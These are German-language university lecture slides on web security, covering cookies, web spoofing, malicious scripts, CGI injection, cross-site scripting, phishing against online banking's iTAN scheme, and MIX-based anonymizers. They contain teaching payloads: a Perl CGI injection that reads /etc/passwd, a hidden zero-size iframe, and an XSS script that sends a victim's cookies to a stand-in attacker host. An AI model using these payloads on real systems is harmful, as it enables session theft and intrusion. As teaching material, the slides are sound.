ITS-10.2

10.2 World-Wide Web
ist die leistungsfähigste, populärste, unsicherste Netzanwendung
Warum?

Schwachstellen in Server- oder Browser-Code,

eingebetteter Code in Webseiten,

Cookies,

ungesicherte TCP-Verbindungen (sofern nicht https)

unachtsame Benutzer
ITS-10.2
1
Typische Angriffsszenarien:
 feindliche Anbieter greifen den Benutzer an
(mit Kenntnis von Browser und Betriebssystem,
die sie aus dem HTTP Header entnehmen)
 feindliche Benutzer greifen den Anbieter an
(mit entsprechender Kenntnis)
 Dritte greifen über den Anbieter den Benutzer an
 Dritte greifen die Anbieter-Benutzer-Beziehung an
... und kompliziertere
ITS-10.2
2
10.2.1 Cookies
("Kekse")
Das HTTP-Protokoll erlaubt dem Server, kleine Informationspakete
- Cookies - an den Browser zu schicken (der sie in einer Datei speichert)
und später wieder abzurufen. ! Der Benutzer merkt davon nichts !
(Aber konfigurierbar z.B. bei Firefox.)
Wozu? Server kann über Cookies einen Zusammenhang zwischen
verschiedenen Verbindungen herstellen. (Das gelingt sonst
nicht, weil HTTP keine zustandsbehafteten "Sitzungen" kennt.)
Anwendungen: - personalisierter Web-Auftritt des Servers
- elektronischer Warenkorb
- u.a.
ITS-10.2
3
Empfehlung: alle Cookies löschen, dann einige Webseiten besuchen
und nachsehen, wer Cookies setzt.
ITS-10.2
4
Gefahr des Missbrauchs:
Server kann systematisch Benutzerprofile erstellen (Dossiers)
und eventuell sogar konkreten Personen zuordnen (wie beim
elektronischen Einkauf)
- z.B. für Werbung ... oder auch für weniger harmlose Zwecke.
Gefahrenabwehr:
 Cookies nicht akzeptieren (oft nicht realistisch!)
 Cookies öfter löschen
 anonymes Web Surfing (10.2.6)
ITS-10.2
5
10.2.2 Web Spoofing
Zur Erinnerung:
Auf einer Webseite findet man
Anklicken führt zu http://www.47ll.com
Achtung:
das ist keine authentische Seite für das bekannte
Echt Kölnisch Wasser, denn in 47ll ist "l" nicht
die Ziffer "eins", sondern der Buchstabe "el".
Verteidigung: Inhalt der Statuszeile und dann Inhalt der
Adresszeile sorgfältig beachten!
Weitere Tricks zum Anlocken auf Schadseiten:
E-mail, Suchdienste, Mundpropaganda, typo-squatting
ITS-10.2
6
Variationen über dieses Thema:
http://www.cnn.com:[email protected]/~sws/0/
Aber:
Ich gehe zu www.bahn.org und lande auf
professioneller Bahn-Seite mit
- echt oder getürkt ??
Übung: Weitere Tricks ausdenken!
ITS-10.2
7
Probleme:

Die URL sagt wenig aus über die tatsächliche Organisation bzw. Person, die hinter einer Webseite steht.

Eine betrügerische Seite kann die Anzeige von URLs
durch client-side scripting manipulieren, und zwar sowohl
in der Statuszeile (mouse-over) als auch in der Adresszeile!

Transitives Web-Spoofing: Eine betrügerische Startseite auf
www.attract.org, die diverse attraktive Verweise auf
andere Seiten enthält, wird so eingerichtet, dass allen diesen
"normalen URLs" die URL www.attract.org vorangestellt
wird. Alle vom Benutzer angefragten Seiten laufen durch
www.attract.org und werden entsprechend manipuliert!
Der gesamte Web-Verkehr des Benutzers ist damit abhorchbar
und manipulierbar - bis eine neue URL eingegeben wird!
ITS-10.2
8
Web Spoofing wird bekämpft mit
https (Port 443) = http über SSL (3.3.1)
Web Server wird über SSL authentisiert: er übermittelt beim
Handshake sein Zertifikat (und verwendet beim Handshake
seinen privaten Schlüssel!).
Zertifikat enthält hinreichend überzeugende Bezeichnung der
verantwortlichen Organisation/Person!
Inhalt des Zertifikats kann auf Wunsch des Benutzers vom
Browser angezeigt werden!
 Authentizität hängt an der Echtheit des Zertifikats:
es muss von einer Instanz signiert sein, die der Browser
kennt (öffentlicher Schlüssel!) und der er vertraut;
aber der Browser ist kein Mensch ....... ?
ITS-10.2
9
 Browser wird vom Menschen entsprechend konfiguriert:
 wird mit den korrekten öffentlichen Schlüsseln
einiger Zertifizierungsinstanzen (CAs) ausgeliefert
 kann jederzeit umkonfiguriert werden
ITS-10.2
10
ITS-10.2
11
ITS-10.2
https mit Safari
12
ITS-10.2
13
Aber: betrügerische Seite kann mittels Scripting so gestaltet
werden, dass beim Klicken auf ein "https"-Link eine
SSL-Verbindung zum erwarteten Anbieter nur vorgegaukelt
wird: in Wahrheit existiert eine (ungeschützte) Verbindung
zum Betrüger !
In der Adresszeile wird die erwartete URL https://...
angezeigt; ferner wird das Schloss-Symbol angezeigt.
Und wenn der Benutzer das Zertifikat sehen will,
wird das erwartete Zertifikat angezeigt!
Gegenmaßnahme: JavaScript abschalten (oft nicht realistisch!)
Details:
http://www.cs.dartmouth.edu/~pkilab/demos/spoofing/
ITS-10.2
14
Achtung
Selbst bei optimaler Verteidigung bleibt die
Server-Authentizität eine Schwachstelle !
Ursachen
Browser defekt/falsch konfiguriert
Manipulation durch heruntergeladenen Code
Unachtsamkeit/Unwissen des Benutzers
ITS-10.2
15
10.2.3 Schadsoftware in Webseiten
 Eingebetteter Skript-Code (Javascript, VBScript, ...) ist
potentiell trojanisch (client-side scripting)
 nachgeladener mobiler Code (Applets, ActiveX Controls) ist
potentiell trojanisch
 transitiv: Seite enthält Direktiven zum Nachladen
schädlicher Seiten
Üblicher Schutz gegen trojanischen Code:



ITS-10.2
Sandbox
Browser-Einstellungen für Differenzierung nach Herkunft
benutzerbestimmter differenzierter Zugriffsschutz (4.5.6)
16
10.2.3.1 Beispiel mit Javascript
HTML-Element FORM mit Attribut action für Server CGI:
<HTML>
<TITLE>Great Site!</TITLE>
<FORM action="http://greatsite.com/query.cgi">
<LABEL for=”db">Database: </LABEL>
<INPUT type="text" id=”db"><BR>
<LABEL for=”film">Key: </LABEL>
<INPUT type="text" id=”film"><BR>
<INPUT type="submit">
<INPUT type="reset">
</FORM
</HTML>
ITS-10.2
17
Mallory kann auch andere action vorsehen:
<HTML>
<TITLE>Great Site!</TITLE>
<FORM action=”mailto:[email protected]">
<LABEL for=”db">Database: </LABEL>
<INPUT type="text" id=”db"><BR>
<LABEL for=”film">Key: </LABEL>
<INPUT type="text" id=”film"><BR>
<INPUT type="submit">
<INPUT type="reset">
</FORM
</HTML>
Damit erhält Mallory (über die Absenderadresse)
die Netzidentität des Absenders - etwa Alice.
ITS-10.2
18
Fähigkeiten von eingebettetem Skript-Code, z.B. Javascript:

normale Skript-Programmierung (objektbasiert)

über vordefinierte Objekte und Operationen Zugriff auf
alle Elemente des Browser-Fensters (lesend und ändernd!)
Jeder submit-Taste entspricht ein submit object mit Operation
click() , die das gleiche bewirkt wie das Drücken der Taste:
<SCRIPT type=“text/javascript”> . . .
document.forms[i].elements[k].click();
. . .
</SCRIPT>
Damit kann die zugehörige action ohne
explizite Aktion von Alice ausgelöst werden.
ITS-10.2
19
Damit erfährt Mallory zunächst nur die Identität von
Alice.
Kombination mit Angriff über ein Applet möglich:

Applet kann Gegenwart anderer Applets in Erfahrung
bringen (über Threads/Threadgroups),

schickt gefundene Applet-Namen über UDP an Mallory,

der mit einem Suchdienst die Seiten dieser
Applets und damit das Verhalten von Alice erfahren
kann.
ITS-10.2
20
10.2.3.2 Beispiel mit iframe
Das HTML-Element iframe (inline frame) in einer Webseite
erlaubt die Einbettung einer anderen Seite:
<html><body>
<iframe src ="http://page.mi.fu-berlin.de/~lohr”
width=400
height=300>
</iframe><br>
<br>
Some older browsers do not support iframes.<br>
If they don't, the iframe will not be visible.
</body></html>
ITS-10.2
21
Mallory bietet Bob eine solche Seite an, aber mit
<iframe src ="http://dark.org/mallory”
width=0
height=0>
Diese Seite ist nicht sichtbar - aber ihr Skriptcode wird
ausgeführt.
Bemerkung: Diese Technik wird von der Schadsoftware
Mpack (russischen Ursprungs) ausgenutzt, siehe
http://www.symantec.com/enterprise/security_response/weblog/2007/05/
mpack_packed_full_of_badness.html
ITS-10.2
22
10.2.4 Angriffe auf Webserver
Serverseitiger Skriptcode: CGI
Der Browser schickt ein URL .../xyz.cgi, die ein CGI-Skript
identifiziert -> das Skript wird ausgeführt und schickt i.d.R.
eine dynamisch zusammengestellte Seite zurück.
(analog arbeiten servlets, PHP, ASP.NET)
Dieser Vorgang kann von Eingabewerten abhängig gemacht
werden, die der Nachricht des Browsers beigefügt sind:
.../query.cgi?db=movies&film=casablanca
ITS-10.2
23
Eine derartige Nachricht des Browsers an den Server kann
ausgelöst werden, indem nach Ausfüllen einer Formularseite
die submit-Taste gedrückt wird (10.2.3.1):
<HTML>
<TITLE>Great Site!</TITLE>
<FORM action="http://greatsite.com/query.cgi">
<LABEL for=”db">Database: </LABEL>
<INPUT type="text" id=”db"><BR>
<LABEL for=”film">Key: </LABEL>
<INPUT type="text" id=”film"><BR>
<INPUT type="submit">
<INPUT type="reset">
</FORM
</HTML>
ITS-10.2
24
Angriff: Eingabe fabrizieren, der den Skript-Code anders
Arbeiten lässt als geplant. Dies „ruft Mail ab“:
www.site.com/[email protected]
#!/usr/bin/perl
print "Content-Type: text/html \n\n";
$MAILTO = $ENV{'QUERY_STRING'};
$MAILTO =~s/\+/ /g;
print "<html><head><title>Mailing</title></head>";
print "<body>mail sent alright.</body></html>";
open (MAIL, " | /usr/bin/mail $MAILTO");
close MAIL;
Mallory ruft auf: [email protected]+</etc/passwd
 nimmt die Eingabe aus passwd statt aus Standardeingabe!
(vgl. mit Pufferüberlauf und SQL injection)
ITS-10.2
25
10.2.5 Cross-Site Scripting
(Akronym CSS oder XSS)
Einfaches CGI-Skript, aktiviert mit
http://www.bob.com/welcome.cgi?name=Alice
liefert
<HTML>
<TITLE>Welcome!</TITLE>
Hello Alice <BR>
Welcome to our system etc...
<HTML>
ITS-10.2
26
<HTML>
<TITLE>Welcome!</TITLE>
Hello
<SCRIPT>var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(
pos,document.URL.length));
</SCRIPT><BR>
Welcome to our system etc...
</HTML>
ITS-10.2
27
Mallory‘s Webseite enthält Link
<a href=“http://www.bob.com/
welcome.cgi?name=<SCRIPT>alert(document.cookie)</SCRIPT>“>
Click here! </a>
Wenn Alice klickt, erhält sie
<HTML>
<TITLE>Welcome!</TITLE>
Hello <SCRIPT>alert(document.cookie)</SCRIPT> <BR>
Welcome to our system etc...
<HTML>
Was ist passiert? Mallory hat Alice über Bob seltsamen
Code untergeschoben, der auch gleich ausgeführt wird.
(auch „HTML injection“ genannt - vgl. SQL injection)
ITS-10.2
28
... mit bösartigem Code:
<HTML>
<TITLE>Welcome!</TITLE>
Hello
<SCRIPT> window.open(“http://www.mallory.com/
collect.cgi?cookie=“+document.cookie)
</SCRIPT> <BR>
Welcome to our system etc...
<HTML>
Hier sammelt Mallory die Cookies von Alice, die sich auf Bob beziehen.
Damit kann Mallory sich gegenüber Bob als Alice ausgeben!
ITS-10.2
29
10.2.6 Fallstudie: Online Banking
 Sicherung der Verbindung zum Bank-Server: SSL/TLS 
 Server-Authentisierung: Zertifikat/privater Schlüssel 
 Klienten-Authentisierung: Passwort, z.B. 5-stellige PIN 
 Zusätzliche Sicherung der einzelnen Transaktion durch
Einmal-Passwort, z.B. 6-stellige TAN aus einer zuvor
mit der Bank vereinbarten Liste von TANs

Verbleibende Gefahren:
phishing durch Web Spoofing, Trojanische Browser
(und natürlich: die papierenen TAN-Listen stehlen)
Reaktion der Banken: 2005 Umstellung auf iTAN („indizierte TAN“)
ITS-10.2
30
iTAN: Die TANs sind durchnumeriert.
Der Server verlangt nicht irgendeine TAN, sondern
eine iTAN mit einer - zufällig gewählten - Nummer.
Begründung:
„Eine durch phishing erlangte TAN kann vom Angreifer
selbst genutzt werden. Das ist mit einer iTAN nicht
mehr möglich. Damit ist die bisherige Schwachstelle
geschlossen, und das Online Banking ist wirklich sicher.“
?
ITS-10.2
31
10.2.6.1 iTAN versus TAN
 Mittels phishing z.B. über http://www.p0stbank.de kann
der Angreifer nach wie vor die PIN und mit ein wenig
Geschick auch numerierte iTANs in Erfahrung bringen.
 Wenn er (ziemlich viel) Glück hat, wird er nach Kontaktaufnahme mit https://www.postbank.de und Eingabe von
Kontonummer und PIN nach einer iTAN gefragt, die er
in Erfahrung gebracht hat.
 Das scheint den Schluss zuzulassen, dass die iTANs
zwar immer noch nicht vollständig sicher, aber immerhin
bedeutend sicherer als die TANs sind.
?
ITS-10.2
(URLs vereinfacht)
32
10.2.6.2 Enter man-in-the-middle
 Der Angreifer hat „offline“ operiert, d.h. Daten zunächst
über http://www.p0stbank.de abgefangen und später
über https://www.postbank.de eingesetzt.
 Er kann aber auch „online“ als man-in-the-middle operieren:
wenn der Bankkunde ihn über http://www.p0stbank.de anspricht,
spricht der Angreifer die Bank über https://www.postbank.de an.
Er tritt also der Bank gegenüber als Kunde - und dem Kunden
gegenüber als Bank auf. Jeglicher Verkehr einschließlich
der iTAN-Authentisierung läuft über ihn - unbemerkt von
den anderen Teilnehmern.
 An dieser Angriffsmöglichkeit durch Maskerade ändert der
Übergang von TAN zu iTAN natürlich gar nichts.
ITS-10.2
33
Kunde
Angreifer
http://www.p0stbank.de
Konto#, PIN
Konto#, PIN
ok
Überweisung
ok
(wenn Daten ok)
gefälscht
iTAN#
iTAN
Bank
https://www.postbank.de
iTAN#
iTAN
ok
ITS-10.2
ok
(wenn iTAN ok)
34
10.2.6.3 Was sagt die Bank?
In letzter Zeit gibt es immer wieder Versuche von Betrügern, an die PIN und
TANs von Online-Banking-Kunden zu gelangen. Durch sogenannte Phishingund Pharming-Attacken wird versucht an sensiblen Kundendaten zu gelangen.
Hat ein Betrüger die PIN und TAN eines Kunden erschlichen, kann er damit eine
Überweisung ausführen und so Geld in betrügerischer Absicht auf sein eigenes
Konto überweisen.
iTAN - die sichere Liste
Um diesen Betrugsversuchen entgegen zu wirken haben wir die Sicherheit
Der TAN weiter erhöht. So gibt es heute bei der Postbank die indizierten
TAN, kurz iTAN: Sie als Kunde legitimieren hier Ihren Auftrag nicht mehr mit
einer beliebigen TAN aus Ihrer Liste, sondern werden von uns aufgefordert,
eine bestimmte, durch eine Positionsnummer (Index) gekennzeichnete TAN
aus Ihrer extra zu diesem Zweck durchnummerierten Liste einzugeben.
Dadurch ist ein zeitlich unabhängiges Erschleichen einer TAN für einen Betrüger
ohne Wert.
ITS-10.2
35
10.2.6.3 Was sagt die Bank?
In letzter Zeit gibt es immer wieder Versuche von Betrügern, an die PIN und
TANs von Online-Banking-Kunden zu gelangen. Durch sogenannte Phishingund Pharming-Attacken wird versucht an sensiblen Kundendaten zu gelangen.
Hat ein Betrüger die PIN und TAN eines Kunden erschlichen, kann er damit eine
Überweisung ausführen und so Geld in betrügerischer Absicht auf sein eigenes
Konto überweisen.
iTAN - die sichere Liste
Um diesen Betrugsversuchen entgegen zu wirken haben wir die Sicherheit
Der TAN weiter erhöht. So gibt es heute bei der Postbank die indizierten
TAN, kurz iTAN: Sie als Kunde legitimieren hier Ihren Auftrag nicht mehr mit
einer beliebigen TAN aus Ihrer Liste, sondern werden von uns aufgefordert,
eine bestimmte, durch eine Positionsnummer (Index) gekennzeichnete TAN
aus Ihrer extra zu diesem Zweck durchnummerierten Liste einzugeben.
Dadurch ist ein zeitlich unabhängiges Erschleichen einer TAN für einen Betrüger
ohne Wert.
? und das „zeitlich abhängige“ Erschleichen ?
ITS-10.2
36
... und unter Berücksichtigung nichttechnischer Aspekte:

Es wird zwar auf die Bedeutung von „https“ hingewiesen.
Es wird aber nicht explizit gesagt, dass die iTAN ohne
eine SSL-Verbindung zwischen Kunde und Bank witzlos ist
(und dass sie mit SSL keine Verbesserung gegenüber der
TAN bringt).

Die Kunden werden in falscher Sicherheit gewiegt.
Dadurch ist die Situation de facto unsicherer als vorher.

Sie wird zusätzlich unsicherer durch folgenden Sachverhalt:
Beim TAN-Verfahren konnte man sich eine TAN merken
(oder einige TANs notieren), um auch ohne vollständige
Liste - die immerhin sehr sensibel ist - arbeiten zu können.
Bei der iTAN muss die vollständige Liste stets zur Hand sein.
ITS-10.2
37
Zur Erinnerung - der Angreifer kann noch raffinierter vorgehen:
 https://www.p0stbank.de beruhigt den auf https
achtenden Kunden, behindert aber nicht den Angriff es sei denn, der Kunde prüft sachkundig das Zertifikat
(und nicht einmal das bringt hundertprozentige Sicherheit,
siehe 10.2.2):
 DNS Spoofing für www.postbank.de hat den gleichen
Effekt wie Web Spoofing - und bleibt völlig unbemerkt!
ITS-10.2
38
Was tun? Wenn man Spoofing nicht ausschließen kann:
muss der Kunde sich so authentisieren, dass ein
Angreifer mit den Credentials nichts anfangen kann!
 SSL/TLS session-aware user authentication
Artikel der Woche:
R. Oppliger, R. Hauser, D. Basin:
SSL/TLS session-aware user authentication - or how to
effectively thwart the man-in-the-middle.
Computer Communications 29.12, August 2006
http://www.inf.ethz.ch/personal/basin/pubs/mitm-cc.pdf
ITS-10.2
39
nicht ganz (aber “more safely” ;-)
ITS-10.2
40
10.2.7 Anonymisierer
!
Wer sich ins Netz begibt, wird dort gesehen.
!
Benutzer hinterlässt Spuren seiner Aktivität im Netz sowohl
auf eigenem Rechner (z.B. Web Cookies) als auch auf anderen:
sowohl im Server als auch in Zwischenstationen können
Nutzdaten, Verbindungsdaten (IP-Adresse) und eventuell
Namen gesammelt werden.
 wünschenswert: Anonymität im Netz
ITS-10.2
41
Vorbemerkungen:
Empfänger/Sender-Anonymität bei Beobachtung durch einen Dritten:
Empfänger-Anonymität: kann A eine Nachricht an B schicken,
ohne dass ein Dritter den Empfänger B erkennen kann ?
Ja, mit Rundsendung vom System A, z.B. im Ethernet, die mit
dem öffentlichen Schlüssel von System B verschlüsselt ist!
Sender-Anonymität: kann A eine Nachricht an B schicken,
so dass zwar B den Absender A erkennen kann,
nicht aber ein Dritter ?
Ja, indem die Nachricht mit dem Absender versehen wird und
das Ganze mit dem öffentlichen Schlüssel des Empfängers B
verschlüsselt wird! (evtl. mit IP Spoofing)
(Aber: sind anonyme Briefe gut oder schlecht?)
ITS-10.2
42
MIX [Chaum 1981]:
Ein Rechner, der als Anonymisierer zwischen Sendern und
Empfängern von Nachrichten sitzt (vereinfacht):
Sender
MIX
Empfänger e
EM[x,e]
(x,e) = DM[EM[x,e]
(y,..) = DM[EM[y,..]
(z,..) = DM[EM[z,..]
.....
x
Der MIX sammelt einige eintreffenden Nachrichten, entschlüsselt sie,
rearrangiert sie und sendet sie an die jeweiligen Empfänger weiter.
ITS-10.2
43
Effekt des MIXing:

Das Ausspionieren von EM[x,e] durch einen Dritten erlaubt
keinen Rückschluss auf den endgültigen Empfänger e.

Das Analysieren von x - durch Empfänger oder Dritten erlaubt keinen Rückschluss auf den ursprünglichen Sender.*

Zwischen EM[x,e] und x besteht keine erkennbare Beziehung**:
ein beobachtender Dritter kann nur feststellen, dass die
Sender Nachrichten abschicken und dass die Empfänger
Nachrichten erhalten - mehr nicht!
 Sender- und Empfänger-Anonymität!
Aber: der MIX ist ein man-in-the-middle - vertrauenswürdig ?
ITS-10.2
* es sei denn über den Inhalt der Nachricht
** außer über die Länge der Nachricht
44
 MIX-Kaskade, z.B. bestehend aus 3 MIXen A, B, C, die von
verschiedenen Organisationen betrieben werden:
 Sender schickt EA[EB[EC[x,e]]] an A.
 A dechiffriert und schickt EB[EC[x,e]] an B.
 B dechiffriert und schickt EC[x,e] an C.
 C dechiffriert und schickt x an e.
. . . anwendbar z.B. für E-mail und Web.
ITS-10.2
45
Umsetzung für das World-Wide Web:
Dienst AN.ON mit Klient JAP [Pfitzmann u.a. 1998-2003]
(Java Anonymity Proxy)
Sender/Empfänger : IP-Adressen
ITS-10.2
permanent, gemultiplext für (virtuelle)
Benutzerverbindungen - “Mix-Kanäle”
46
 Hybride Verschlüsselung (EM[K], EK[x,e]) anstelle von EM[x,e]
(RSA und AES mit OFB), jedoch nur für Verbindungsaufbau
eines Mix-Kanals.
 Nutzdaten werden auf Blöcke einheitlicher Größe aufgeteilt
und nur symmetrisch verschlüsselt.
In diesem Bereich sind
die Daten JAP-verschlüsselt
 Achtung Cookies:
werden von JAP nicht gefiltert!
 Achtung aktive Webseiten:
können dem Server die IP schicken!
ITS-10.2
http://anon.inf.tu-dresden.de/ mit Dokumentation
https://www.jondos.de/de/
47